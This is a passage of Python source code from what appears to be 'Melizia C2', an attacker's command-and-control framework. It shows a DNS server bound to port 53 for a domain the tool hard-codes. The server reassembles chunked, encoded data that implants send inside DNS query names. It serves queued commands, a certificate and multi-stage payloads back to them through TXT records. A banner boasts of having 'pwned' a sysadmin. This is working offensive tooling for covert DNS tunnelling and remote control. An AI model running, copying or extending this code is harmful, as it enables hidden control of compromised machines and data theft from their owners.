705 | except Exception:
706 | console.print_exception(show_locals=True)
707 | pass
708 |
709 |
710 | def dnsDataParse(packet):
711 | # print(packet)
712 | global commandList
713 | regex = r"-(.*)-"
714 | commandEncoded = ""
715 | matches = re.search(regex, packet)
716 | metadata = str(matches.group(0)).split("-")
717 | metadata = list(filter(bool, metadata))
718 | # print("Metadata: ", metadata)
719 | commandEnumeratorList = []
720 | if((len(packet)-len(matches.group(0)) + 1) >= int(metadata[1])):
721 | # console.print(f"Data :: {packet}")
722 | data = packet.replace(matches.group(0), "").replace(".","")
723 | # console.print(data)
724 |
725 | if "_" in data and int(metadata[1]) == 1 or len(metadata) < 3:
726 | data = data.replace("_", "")
727 | decodeCommand(data)
728 | return 0
729 | data = data.replace("k", "")
730 | commandList.append({"data":data,"order":int(metadata[0]), "maxorder":int(metadata[2])})
731 | from operator import itemgetter
732 |
733 | # newCommandList = sorted(commandList, key=lambda k: k['order'])
734 |
735 | ordens = [d['order'] for d in commandList]
736 | lista_ordenada = sorted(commandList, key=lambda k: k['order'])
737 | ordens_ordenadas = [d['order'] for d in lista_ordenada]
738 |
739 | consecutivos = all(x == y - 1 for x, y in zip(ordens_ordenadas, ordens_ordenadas[1:]))
740 | # print(f"{consecutivos} | {ordens_ordenadas} | {lista_ordenada}")
741 | if consecutivos == True:
742 | dicionario_ordenado = sorted(commandList, key=lambda k: k['order'])
743 | for x in dicionario_ordenado:
744 | if x['order'] == x['maxorder'] or x['order']+1 == x['maxorder']:
745 | # print(dicionario_ordenado)
746 | newCommandDict = []
747 | for i, d in enumerate(dicionario_ordenado):
748 | novo_d = dict(d)
749 | novo_d['order'] = i + 1
750 | newCommandDict.append(novo_d)
751 |
752 | for x in newCommandDict:
753 | commandEncoded += x['data']
754 | # print(f"Recursion :: {x}")
755 | if "_" in x['data']:
756 | commandEncoded = commandEncoded.replace('_','')
757 | #commandEncoded += x['data']
758 | c2Statistics["Total Requests"] += 1
759 | #x['data'] = x['data'].replace('_','')
760 | # print(f"Complete decode :: {commandEncoded}")
761 | commandList.clear()
762 | decodeCommand(commandEncoded)
763 | commandEnumeratorList.clear()
764 | dicionario_ordenado.clear()
765 | newCommandDict.clear()
766 | commandEncoded = ""
767 |
768 | class DomainName(str):
769 | def __getattr__(self, item):
770 | return DomainName(item + '.' + self)
771 |
772 |
773 | D = DomainName('demoni386.ninja')
774 |
775 | soa_record = SOA(
776 | mname=D.ns1, # primary name server
777 | rname=D.andrei, # email of the domain administrator
778 | times=(
779 | 201307231, # serial number
780 | 60 * 60 * 1, # refresh
781 | 60 * 60 * 3, # retry
782 | 60 * 60 * 24, # expire
783 | 60 * 60 * 1, # minimum
784 | )
785 | )
786 | ns_records = [NS(D.ns1), NS(D.ns2)]
787 | records = {
788 | D: [A(IP), AAAA((0,) * 16), MX(D.mail), soa_record] + ns_records,
789 | D.ns1: [A(IP)], # MX and NS records must never point to a CNAME alias (RFC 2181 section 10.3)
790 | D.ns2: [A(IP)],
791 | D.mail: [A(IP)],
792 | D.andrei: [CNAME(D)],
793 | }
794 |
795 |
796 | def sendDNSresponse(data):
797 | global keyProvisioning, commandMode, currentEncodedCommand, generatedRSAKeyUsed, certificate, stagedPayload_cmd, multiStagePayloadContent, authenticatedCommand_cmd, authStage
798 | try:
799 | request = DNSRecord.parse(data)
800 | reply = DNSRecord(DNSHeader(id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
801 | qname = request.q.qname
802 | qn = str(qname)
803 | qtype = request.q.qtype
804 | qt = QTYPE[qtype]
805 | if qt == "A":
806 | reply.add_answer(RR(rname=qname, rtype=QTYPE.A, ttl=5, rdata=dns.A(IP)))
807 | if qt == "AAAA":
808 | reply.add_answer(RR(rname=qname, rtype=QTYPE.AAAA, ttl=5, rdata=dns.AAAA(IPV6)))
809 | if qt == "TXT":
810 | # console.print(f"Command mode :: {commandMode}")
811 | if authStage == 0 and authenticatedCommand_cmd == False and commandMode == True and len(currentEncodedCommand) > 0:
812 | # print(f"Serving first stage of payload {authStage} {authenticatedCommand_cmd}")
813 | reply.add_answer(RR(rname=qname, rtype=QTYPE.TXT, ttl=5, rdata=dns.TXT(currentEncodedCommand)))
814 | return reply.pack()
815 |
816 | if authStage > 0 and authenticatedCommand_cmd == True and commandMode == True and len(multiStagePayloadContent) > 0:
817 | authStage = 0
818 | # print(f"Serving N stage of payload {authStage} {authenticatedCommand_cmd} {commandMode}")
819 | reply.add_answer(RR(rname=qname, rtype=QTYPE.TXT, ttl=5, rdata=dns.TXT(multiStagePayloadContent)))
820 | return reply.pack()
821 |
822 | if keyProvisioning == False and authenticatedCommand_cmd == False:
823 | # print("Serving nothing!")
824 | reply.add_answer(RR(rname=qname, rtype=QTYPE.TXT, ttl=5, rdata=dns.TXT("")))
825 | return reply.pack()
826 |
827 | if commandMode == False and authenticatedCommand_cmd == False:
828 | # print("Serving certificate")
829 | reply.add_answer(RR(rname=qname, rtype=QTYPE.TXT, ttl=5, rdata=dns.TXT(certificate)))
830 | return reply.pack()
831 |
832 | if commandMode == True and authenticatedCommand_cmd == False and len(currentEncodedCommand) > 0:
833 | # print("Serving current encoded command!")
834 | reply.add_answer(RR(rname=qname, rtype=QTYPE.TXT, ttl=5, rdata=dns.TXT(currentEncodedCommand)))
835 | return reply.pack()
836 |
837 | if len(multiStagePayloadContent) > 0 and len(currentEncodedCommand) == 0:
838 | reply.add_answer(RR(rname=qname, rtype=QTYPE.TXT, ttl=5, rdata=dns.TXT(multiStagePayloadContent)))
839 | return reply.pack()
840 |
841 | else:
842 | reply.add_answer(RR(rname=qname, rtype=QTYPE.TXT, ttl=5, rdata=dns.TXT(currentEncodedCommand)))
843 | return reply.pack()
844 |
845 | return reply.pack()
846 | except Exception:
847 | console.print_exception(show_locals=True)
848 |
849 | class DNSServer:
850 | def __init__(self, address, port, domain):
851 | self.address = address
852 | self.port = port
853 | self.domain = domain
854 | def start(self):
855 | global c2Statistics, certificate
856 | data = None
857 | addr = None
858 | try:
859 | console.print(f"[bold yellow][!][/bold yellow] DNS Server started\n")
860 | udps = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
861 | udps.bind(('',self.port))
862 | except:
863 | console.print(f"[bold red][!][/bold red] Failed to start DNS Server\n")
864 | return 0
865 | c2Statistics["Active Listeners"].append("DNS")
866 | certificate = generateCertificate()
867 | while True:
868 | try:
869 | data, addr = udps.recvfrom(512)
870 | udps.sendto(sendDNSresponse(data),addr)
871 | ini=12
872 | lon=data[ini]
873 | receivedData = ""
874 | while lon != 0:
875 | receivedData+=data[ini+1:ini+lon+1].decode('ascii')+'.'
876 | ini+=lon+1
877 | lon=data[ini]
878 | if self.domain in receivedData:
879 | receivedData = receivedData.replace(self.domain, "")
880 | if(len(receivedData) > len(self.domain+".")):
881 | dnsDataParse(receivedData)
882 | #c2Statistics["Invalid Requests"] += 1
883 | except IndexError:
884 | pass
885 | except Exception:
886 | console.print_exception(show_locals=True)
887 | pass
888 |
889 | import signal
890 | if __name__ == "__main__":
891 | console.print(f"""
892 | [bold red] Melizia C2 [/bold red]
893 | Pwned by trololo gang! kek kek keke kekw
894 | [bold blue]- "SYSADMIN VOCÊ ESTÁ SENDO HIPNOTIZADO, ESQUEÇA QUE ESSA OWNADA EXISTIU"[/bold blue]
895 | [bold green]
896 |
897 | |) /\ |\ | /` |
898 | |) \/ | \| \] .
899 | __________ |) /\ |\ | /` |
900 | /________ /| |) \/ | \| \] .
901 | | X|I | |
902 | | | | | |) /\ |\ | /` |
903 | |IX * III| | |) \/ | \| \] .
904 | | | | |
905 | |____VI___| | |) /\ |\ | /` |
906 | | / | | |) \/ | \| \] .
907 | | / | |
908 | | / | | |) /\ |\ | /` |
909 | |( ) | | |) \/ | \| \] .
910 | |_________|/
911 | |) /\ |\ | /` |
912 | |) \/ | \| \] .
913 | [bold green]
914 | """)
915 | console.print("Ctrl+C is disabled! please use \"exit\" to exit from Melizia\nUse \"help\" to see the available commands!\n")
916 | # signal.signal(signal.SIGINT, signal.SIG_IGN)
917 | serverThread = threading.Thread(target=server)
918 | commandThread = threading.Thread(target=command)
919 | serverThread.start()
920 | commandThread.start()
921 | DNSServer = DNSServer("0.0.0.0", 53, ".demoni386.ninja")
922 | DNSServer.start()
923 |
--------------------------------------------------------------------------------
/melizia_diagram.svg:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
--------------------------------------------------------------------------------